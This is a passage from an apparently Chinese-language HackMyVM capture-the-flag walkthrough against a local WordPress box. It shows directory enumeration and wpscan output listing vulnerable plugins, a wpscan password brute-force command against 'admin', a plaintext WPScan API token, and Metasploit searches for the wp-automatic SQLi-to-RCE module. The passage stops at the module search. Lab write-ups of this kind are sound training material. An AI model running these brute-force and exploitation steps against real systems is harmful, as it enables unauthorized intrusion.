[06:46:11] 301 -  319B  - /wp-content  -&amp;gt;  http://192.168.0.105/wp-content/
[06:46:11] 200 -    0B  - /wp-content/
[06:46:11] 301 -  320B  - /wp-includes  -&amp;gt;  http://192.168.0.105/wp-includes/
[06:46:14] 200 -    0B  - /wp-cron.php
[06:46:14] 302 -    0B  - /wp-signup.php  -&amp;gt;  http://mamushka.hmv/wp-login.php?action=register
[06:46:15] 200 -    2KB - /wp-login.php
[06:46:17] 400 -    1B  - /wp-admin/admin-ajax.php
[06:46:23] 409 -    3KB - /wp-admin/setup-config.php

Task Completed 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# gobuster dir -u 192.168.0.105 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js,yaml -t 64

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.0.105
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              yaml,php,txt,html,zip,db,bak,js
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 278]
/index.php            (Status: 301) [Size: 0] [--&amp;gt; http://192.168.0.105/]                                       
/wp-content           (Status: 301) [Size: 319] [--&amp;gt; http://192.168.0.105/wp-content/]                          
/wp-login.php         (Status: 200) [Size: 3931]
/license.txt          (Status: 200) [Size: 19915]
/wp-includes          (Status: 301) [Size: 320] [--&amp;gt; http://192.168.0.105/wp-includes/]                         
/readme.html          (Status: 200) [Size: 7409]
/wp-admin             (Status: 301) [Size: 317] [--&amp;gt; http://192.168.0.105/wp-admin/]
/wp-signup.php        (Status: 302) [Size: 0] [--&amp;gt; http://mamushka.hmv/wp-login.php?action=register]  
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Annie Steiner
CEO, Greenprint
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# wpscan --url mamushka.hmv         
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | &amp;#39;_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.28
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://mamushka.hmv/ [192.168.0.105]
[+] Started: Fri Jan 23 20:19:36 2026

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: Apache/2.4.61 (Debian)
 |  - X-Powered-By: PHP/8.2.22
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://mamushka.hmv/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://mamushka.hmv/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://mamushka.hmv/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.9 identified (Latest, released on 2025-12-02).
 | Found By: Query Parameter In Install Page (Aggressive Detection)
 |  - http://mamushka.hmv/wp-includes/css/dashicons.min.css?ver=6.9
 |  - http://mamushka.hmv/wp-includes/css/buttons.min.css?ver=6.9
 |  - http://mamushka.hmv/wp-admin/css/forms.min.css?ver=6.9
 |  - http://mamushka.hmv/wp-admin/css/l10n.min.css?ver=6.9
 |  - http://mamushka.hmv/wp-admin/css/install.min.css?ver=6.9

[+] WordPress theme in use: twentytwentyfour
 | Location: http://mamushka.hmv/wp-content/themes/twentytwentyfour/
 | Last Updated: 2025-12-03T00:00:00.000Z
 | Readme: http://mamushka.hmv/wp-content/themes/twentytwentyfour/readme.txt
 | [!] The version is out of date, the latest version is 1.4
 | Style URL: http://mamushka.hmv/wp-content/themes/twentytwentyfour/style.css
 | Style Name: Twenty Twenty-Four
 | Style URI: https://wordpress.org/themes/twentytwentyfour/
 | Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.2 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://mamushka.hmv/wp-content/themes/twentytwentyfour/style.css, Match: &amp;#39;Version: 1.2&amp;#39;

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] ultimate-member
 | Location: http://mamushka.hmv/wp-content/plugins/ultimate-member/
 | Last Updated: 2025-12-16T20:04:00.000Z
 | [!] The version is out of date, the latest version is 2.11.1
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 2.8.6 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://mamushka.hmv/wp-content/plugins/ultimate-member/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://mamushka.hmv/wp-content/plugins/ultimate-member/readme.txt

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 &amp;lt;&amp;gt; (0 / 137)   Checking Config Backups - Time: 00:00:00 &amp;lt;&amp;gt; (3 / 137)   Checking Config Backups - Time: 00:00:00 &amp;lt;&amp;gt; (15 / 137)  Checking Config Backups - Time: 00:00:00 &amp;lt;&amp;gt; (22 / 137)  Checking Config Backups - Time: 00:00:00 &amp;lt;&amp;gt; (32 / 137)  Checking Config Backups - Time: 00:00:00 &amp;lt;&amp;gt; (39 / 137)  Checking Config Backups - Time: 00:00:00 &amp;lt;&amp;gt; (47 / 137)  Checking Config Backups - Time: 00:00:00 &amp;lt;&amp;gt; (59 / 137)  Checking Config Backups - Time: 00:00:00 &amp;lt;&amp;gt; (70 / 137)  Checking Config Backups - Time: 00:00:00 &amp;lt;&amp;gt; (83 / 137)  Checking Config Backups - Time: 00:00:00 &amp;lt;&amp;gt; (96 / 137)  Checking Config Backups - Time: 00:00:00 &amp;lt;&amp;gt; (107 / 137) Checking Config Backups - Time: 00:00:00 &amp;lt;&amp;gt; (120 / 137) Checking Config Backups - Time: 00:00:00 &amp;lt;&amp;gt; (132 / 137) Checking Config Backups - Time: 00:00:00 &amp;lt;&amp;gt; (137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Fri Jan 23 20:19:51 2026
[+] Requests Done: 178
[+] Cached Requests: 5
[+] Data Sent: 44.403 KB
[+] Data Received: 361.444 KB
[+] Memory used: 264.973 MB
[+] Elapsed time: 00:00:14
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;Ultimate Member 2.8.6（关键点）&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;当前版本：&lt;strong&gt;2.8.6&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;最新：2.11.1&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;历史上这个插件是漏洞重灾区&lt;/strong&gt;：&lt;ul&gt;
&lt;li&gt;未授权信息泄露&lt;/li&gt;
&lt;li&gt;任意用户枚举&lt;/li&gt;
&lt;li&gt;权限绕过&lt;/li&gt;
&lt;li&gt;profile / REST / AJAX 相关逻辑问题&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;XML-RPC 开启&lt;/h3&gt;
&lt;p&gt;XML-RPC 现在的价值主要是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;用户名存在性探测&lt;/li&gt;
&lt;li&gt;弱口令 / 凭证复用（如果有用户名）&lt;/li&gt;
&lt;li&gt;pingback 辅助攻击（有条件）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;⚠️ 但：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WP 6.x + 默认配置&lt;/li&gt;
&lt;li&gt;没拿到用户名前，收益有限&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# wpscan --url http://mamushka.hmv \
  -U admin \
  -P ../tools/wordlists/kali/rockyou.txt \ 
  --password-attack wp-login \
  -t 5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;没爆出来&lt;/p&gt;
&lt;p&gt;看了wp换个思路，我的wp扫的太少了，去注册apitoken&lt;/p&gt;
&lt;h2&gt;Wpscan扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# wpscan --url http://mamushka.hmv -e u,ap --plugins-detection aggressive --api-token &amp;quot;NEzNxgvCrcyIZN1aYoHxHyUda29vcAIcsbaCrFngLA0&amp;quot;

_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | &amp;#39;_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.28
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://mamushka.hmv/ [192.168.0.105]
[+] Started: Fri Jan 23 20:36:05 2026

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: Apache/2.4.61 (Debian)
 |  - X-Powered-By: PHP/8.2.22
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://mamushka.hmv/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://mamushka.hmv/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://mamushka.hmv/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.9 identified (Latest, released on 2025-12-02).
 | Found By: Query Parameter In Install Page (Aggressive Detection)
 |  - http://mamushka.hmv/wp-includes/css/dashicons.min.css?ver=6.9
 |  - http://mamushka.hmv/wp-includes/css/buttons.min.css?ver=6.9
 |  - http://mamushka.hmv/wp-admin/css/forms.min.css?ver=6.9
 |  - http://mamushka.hmv/wp-admin/css/l10n.min.css?ver=6.9
 |  - http://mamushka.hmv/wp-admin/css/install.min.css?ver=6.9

[+] WordPress theme in use: twentytwentyfour
 | Location: http://mamushka.hmv/wp-content/themes/twentytwentyfour/
 | Last Updated: 2025-12-03T00:00:00.000Z
 | Readme: http://mamushka.hmv/wp-content/themes/twentytwentyfour/readme.txt
 | [!] The version is out of date, the latest version is 1.4
 | Style URL: http://mamushka.hmv/wp-content/themes/twentytwentyfour/style.css
 | Style Name: Twenty Twenty-Four
 | Style URI: https://wordpress.org/themes/twentytwentyfour/
 | Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.2 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://mamushka.hmv/wp-content/themes/twentytwentyfour/style.css, Match: &amp;#39;Version: 1.2&amp;#39;

[+] Enumerating All Plugins (via Aggressive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] akismet
 | Location: http://mamushka.hmv/wp-content/plugins/akismet/
 | Latest Version: 5.6
 | Last Updated: 2025-11-12T16:31:00.000Z
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://mamushka.hmv/wp-content/plugins/akismet/, status: 403
 |
 | [!] 1 vulnerability identified:
 |
 | [!] Title: Akismet 2.5.0-3.1.4 - Unauthenticated Stored Cross-Site Scripting (XSS)
 |     Fixed in: 3.1.5
 |     References:
 |      - https://wpscan.com/vulnerability/1a2f3094-5970-4251-9ed0-ec595a0cd26c
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-9357
 |      - http://blog.akismet.com/2015/10/13/akismet-3-1-5-wordpress/
 |      - https://blog.sucuri.net/2015/10/security-advisory-stored-xss-in-akismet-wordpress-plugin.html
 |
 | The version could not be determined.

[+] meta-generator-and-version-info-remover
 | Location: http://mamushka.hmv/wp-content/plugins/meta-generator-and-version-info-remover/
 | Last Updated: 2025-09-23T17:32:00.000Z
 | Readme: http://mamushka.hmv/wp-content/plugins/meta-generator-and-version-info-remover/readme.txt
 | [!] The version is out of date, the latest version is 17.1
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://mamushka.hmv/wp-content/plugins/meta-generator-and-version-info-remover/, status: 403
 |
 | Version: 16.0 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://mamushka.hmv/wp-content/plugins/meta-generator-and-version-info-remover/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://mamushka.hmv/wp-content/plugins/meta-generator-and-version-info-remover/readme.txt

[+] ultimate-member
 | Location: http://mamushka.hmv/wp-content/plugins/ultimate-member/
 | Last Updated: 2025-12-16T20:04:00.000Z
 | Readme: http://mamushka.hmv/wp-content/plugins/ultimate-member/readme.txt
 | [!] The version is out of date, the latest version is 2.11.1
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://mamushka.hmv/wp-content/plugins/ultimate-member/, status: 403
 |
 | [!] 13 vulnerabilities identified:
 |
 | [!] Title: Ultimate Member &amp;lt; 2.8.7 - Cross-Site Request Forgery to Membership Status Change
 |     Fixed in: 2.8.7
 |     References:
 |      - https://wpscan.com/vulnerability/2b670a80-2682-4b7f-a549-64a35345e630
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-8520
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/7ffddc03-d4ae-460e-972a-98804d947d09
 |
 | [!] Title: Ultimate Member &amp;lt; 2.8.7 - Authenticated (Contributor+) Stored Cross-Site Scripting
 |     Fixed in: 2.8.7
 |     References:
 |      - https://wpscan.com/vulnerability/7488f9f3-03ea-4f4e-b5fb-c0dd02c5bb59
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-8519
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/9e394bb2-d505-4bf1-b672-fea3504bf936
 |
 | [!] Title: Ultimate Member &amp;lt; 2.9.0 - Missing Authorization to Authenticated (Subscriber+) Arbitrary User Profile Picture Update
 |     Fixed in: 2.9.0
 |     References:
 |      - https://wpscan.com/vulnerability/54a53b30-4249-4559-85f8-7aeac2dc0df2
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-10528
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/0a9793b6-2186-46ef-b204-d8f8f154ebf3
 |
 | [!] Title: Ultimate Member – User Profile, Registration, Login, Member Directory, Content Restriction &amp;amp; Membership Plugin &amp;lt; 2.9.2 - Information Exposure
 |     Fixed in: 2.9.2
 |     References:
 |      - https://wpscan.com/vulnerability/cb9c5ef8-51f8-4a46-ae56-23302c5980aa
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-0318
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/4ee149bf-ffa3-4906-8be2-9c3c40b28287
 |
 | [!] Title: Ultimate Member &amp;lt; 2.9.2 - Unauthenticated SQL Injection
 |     Fixed in: 2.9.2
 |     References:
 |      - https://wpscan.com/vulnerability/31ef60db-4847-4623-a194-8722e668e6ab
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-0308
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/e3e5bb98-2652-499a-b8cd-4ebfe1c1d890
 |
 | [!] Title: Ultimate Member &amp;lt; 2.10.0 - Authenticated SQL Injection
 |     Fixed in: 2.10.0
 |     References:
 |      - https://wpscan.com/vulnerability/90b5192a-ceee-4612-8e21-2341bae29cad
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-12276
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/846f9828-2f1f-4d08-abfb-909b8d634d8a
 |
 | [!] Title: Ultimate Member &amp;lt; 2.10.1 - Unauthenticated SQLi
 |     Fixed in: 2.10.1
 |     References:
 |      - https://wpscan.com/vulnerability/1d39ff72-1178-4812-be55-9bf4b58bbbb6
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-1702
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/34adbae5-d615-4f8d-a845-6741d897f06c
 |
 | [!] Title: Ultimate Member &amp;lt;= 2.10.3 - Admin+ Arbitrary Function Call
 |     Fixed in: 2.10.4
 |     References:
 |      - https://wpscan.com/vulnerability/abc6e35c-d971-4c8f-bcd0-70c7e16ec067
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-47691
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/dc8b33c7-23ef-4b5c-bdb9-b4e548d18832
 |
 | [!] Title: Ultimate Member &amp;lt; 2.10.2 - Unauthenticated Blind SQL Injection
 |     Fixed in: 2.10.2
 |     References:
 |      - https://wpscan.com/vulnerability/76ea92aa-36c6-4455-b9ee-e4ed22202235
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/8f539e25-5483-417d-a3c5-e7034c03c673
 |
 | [!] Title: Ultimate Member &amp;lt; 2.11.1 - Authenticated (Subscriber+) Stored Cross-Site Scripting via &amp;#39;value&amp;#39;
 |     Fixed in: 2.11.1
 |     References:
 |      - https://wpscan.com/vulnerability/9e9bc669-9105-4066-8e3e-3c6db9e62e91
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-13217
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/876b57e0-cf1e-4ce9-ba85-a5d4554797bd
 |
 | [!] Title: Ultimate Member &amp;lt; 2.11.1 - Authenticated (Subscriber+) Profile Privacy Setting Bypass
 |     Fixed in: 2.11.1
 |     References:
 |      - https://wpscan.com/vulnerability/74b2060e-2580-4623-bd0f-c79571c422db
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-14081
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/aad57a68-c385-491f-a5a2-32906df4b52b
 |
 | [!] Title: Ultimate Member – User Profile, Registration, Login, Member Directory, Content Restriction &amp;amp; Membership Plugin &amp;lt; 2.11.1 - Unauthenticated Sensitive Information Exposure
 |     Fixed in: 2.11.1
 |     References:
 |      - https://wpscan.com/vulnerability/4519fed7-8a57-4f57-88f0-bbb3940b3811
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-12492
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/61337d2d-d15a-45f2-b730-fc034eb3cd31
 |
 | [!] Title: Ultimate Member &amp;lt; 2.11.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
 |     Fixed in: 2.11.1
 |     References:
 |      - https://wpscan.com/vulnerability/71513392-aebb-4a11-bf48-4833a7267d5b
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-13220
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/b4c06548-238d-4b75-8f20-d7de6fc21539
 |
 | Version: 2.8.6 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://mamushka.hmv/wp-content/plugins/ultimate-member/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://mamushka.hmv/wp-content/plugins/ultimate-member/readme.txt

[+] wp-automatic
 | Location: http://mamushka.hmv/wp-content/plugins/wp-automatic/
 | Latest Version: 3.130.0
 | Last Updated: 2026-01-18T12:55:56.000Z
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://mamushka.hmv/wp-content/plugins/wp-automatic/, status: 200
 |
 | [!] 9 vulnerabilities identified:
 |
 | [!] Title: Automatic 2.0.3 - csv.php q Parameter SQL Injection
 |     Fixed in: 2.0.4
 |     References:
 |      - https://wpscan.com/vulnerability/dadc99ca-54ee-42b4-b247-79a47b884f03
 |      - https://www.exploit-db.com/exploits/19187/
 |      - https://packetstormsecurity.com/files/113763/
 |
 | [!] Title: WordPress Automatic &amp;lt; 3.53.3 - Unauthenticated Arbitrary Options Update
 |     Fixed in: 3.53.3
 |     References:
 |      - https://wpscan.com/vulnerability/4e5202b8-7317-4a10-b9f3-fd6999192e15
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4374
 |      - https://blog.nintechnet.com/critical-vulnerability-fixed-in-wordpress-automatic-plugin/
 |
 | [!] Title: Automatic &amp;lt; 3.92.1 - Cross-Site Request Forgery to Privilege Escalation
 |     Fixed in: 3.92.1
 |     References:
 |      - https://wpscan.com/vulnerability/fa2f3687-7a5f-4781-8284-6fbea7fafd0e
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27955
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/12adf619-4be8-4ecf-8f67-284fc44d87d0
 |
 | [!] Title: Automatic &amp;lt; 3.92.1 - Unauthenticated Arbitrary File Download and Server-Side Request Forgery
 |     Fixed in: 3.92.1
 |     References:
 |      - https://wpscan.com/vulnerability/53b97401-1352-477b-a69a-680b01ef7266
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27954
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/620e8931-64f0-4d9c-9a4c-1f5a703845ff
 |
 | [!] Title: Automatic &amp;lt; 3.92.1 - Unauthenticated SQL Injection
 |     Fixed in: 3.92.1
 |     References:
 |      - https://wpscan.com/vulnerability/53a51e79-a216-4ca3-ac2d-57098fd2ebb5
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27956
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/a8b319be-f312-4d02-840f-e2a91c16b67a
 |
 | [!] Title: WordPress Automatic Plugin &amp;lt; 3.93.0 Cross-Site Request Forgery
 |     Fixed in: 3.93.0
 |     References:
 |      - https://wpscan.com/vulnerability/e5d0dcec-41a7-40ae-b9ce-f839de9c28b8
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-32693
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/6231e47e-2120-4746-97c1-2aa80aa18f4e
 |
 | [!] Title: WordPress Automatic &amp;lt; 3.95.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via autoplay Parameter
 |     Fixed in: 3.95.0
 |     References:
 |      - https://wpscan.com/vulnerability/d0198310-b323-476a-adf8-10504383ce1c
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-4849
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/4be58bfa-d489-45f5-9169-db8bab718175
 |
 | [!] Title: WordPress Automatic Plugin - AI content generator and auto poster plugin &amp;lt; 3.116.0 - Authenticated (Author+) Arbitrary File Upload
 |     Fixed in: 3.116.0
 |     References:
 |      - https://wpscan.com/vulnerability/33c09e34-517c-4529-8538-e75cc96460bd
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-5395
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/57be67fd-8485-495f-b5e9-6eb52af945b7
 |
 | [!] Title: WordPress Automatic Plugin - AI content generator and auto poster plugin &amp;lt; 3.119.0 - Cross-Site Request Forgery to Stored Cross-Site Scripting
 |     Fixed in: 3.119.0
 |     References:
 |      - https://wpscan.com/vulnerability/d1492e08-59cc-4ae8-ac04-6cf2bfde2898
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-6247
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/95d68a5d-4d0b-4030-a80a-ada31b118af2
 |
 | The version could not be determined.

[i] User(s) Identified:

[+] admin
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] WPScan DB API OK
 | Plan: free
 | Requests Done (during the scan): 6
 | Requests Remaining: 19

[+] Finished: Fri Jan 23 20:38:34 2026
[+] Requests Done: 116303
[+] Cached Requests: 22
[+] Data Sent: 31.13 MB
[+] Data Received: 16.122 MB
[+] Memory used: 448.398 MB
[+] Elapsed time: 00:02:29
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于Ultimate Member不方便利用，需要尝试利用wp-automatic漏洞&lt;/p&gt;
&lt;h1&gt;漏洞利用&lt;/h1&gt;
&lt;h2&gt;msfconsole&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# msfconsole                  
Metasploit tip: Use the resource command to run commands from a file
                                                  
               .;lxO0KXXXK0Oxl:.
           ,o0WMMMMMMMMMMMMMMMMMMKd,
        &amp;#39;xNMMMMMMMMMMMMMMMMMMMMMMMMMWx,
      :KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:
    .KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMX,
   lWMMMMMMMMMMMXd:..     ..;dKMMMMMMMMMMMMo
  xMMMMMMMMMMWd.               .oNMMMMMMMMMMk
 oMMMMMMMMMMx.                    dMMMMMMMMMMx
.WMMMMMMMMM:                       :MMMMMMMMMM,
xMMMMMMMMMo                         lMMMMMMMMMO
NMMMMMMMMW                    ,cccccoMMMMMMMMMWlccccc;
MMMMMMMMMX                     ;KMMMMMMMMMMMMMMMMMMX:
NMMMMMMMMW.                      ;KMMMMMMMMMMMMMMX:
xMMMMMMMMMd                        ,0MMMMMMMMMMK;
.WMMMMMMMMMc                         &amp;#39;OMMMMMM0,
 lMMMMMMMMMMk.                         .kMMO&amp;#39;
  dMMMMMMMMMMWd&amp;#39;                         ..
   cWMMMMMMMMMMMNxc&amp;#39;.                ##########
    .0MMMMMMMMMMMMMMMMWc            #+#    #+#
      ;0MMMMMMMMMMMMMMMo.          +:+
        .dNMMMMMMMMMMMMo          +#++:++#+
           &amp;#39;oOWMMMMMMMMo                +:+
               .,cdkO0K;        :+:    :+:                                
                                :::::::+:
                      Metasploit

       =[ metasploit v6.4.69-dev                          ]
+ -- --=[ 2529 exploits - 1302 auxiliary - 432 post       ]
+ -- --=[ 1678 payloads - 49 encoders - 13 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 &amp;gt; search wordpress ultimate

Matching Modules
================

   #  Name                                                    Disclosure Date  Rank    Check  Description
   -  ----                                                    ---------------  ----    -----  -----------
   0  auxiliary/gather/wp_ultimate_csv_importer_user_extract  2015-02-02       normal  Yes    WordPress Ultimate CSV Importer User Table Extract
   1  auxiliary/scanner/http/wp_ultimate_member_sorting_sqli  2024-02-10       normal  No     WordPress Ultimate Member SQL Injection (CVE-2024-1071)


Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/http/wp_ultimate_member_sorting_sqli                                        

msf6 &amp;gt; search wp_automatic

Matching Modules
================

   #  Name                                              Disclosure Date  Rank       Check  Description
   -  ----                                              ---------------  ----       -----  -----------
   0  auxiliary/admin/http/wp_automatic_plugin_privesc  2021-09-06       normal     Yes    WordPress Plugin Automatic Config Change to RCE
   1  exploit/multi/http/wp_automatic_sqli_to_rce       2024-03-13       excellent  Yes    WordPress wp-automatic Plugin SQLi Admin Creation
   2    \_ target: PHP In-Memory                        .                .          .      .
   3    \_ target: Unix/Linux Command Shell             .                .          .      .
   4    \_ target: Windows Command Shell                .                .          .      .


Interact with a module by name or index. For example info 4, use 4 or use exploit/multi/http/wp_automatic_sqli_to_rce                                                   
After interacting with a module you can manually set a TARGET with set TARGET &amp;#39;Windows Command Shell&amp;#39;

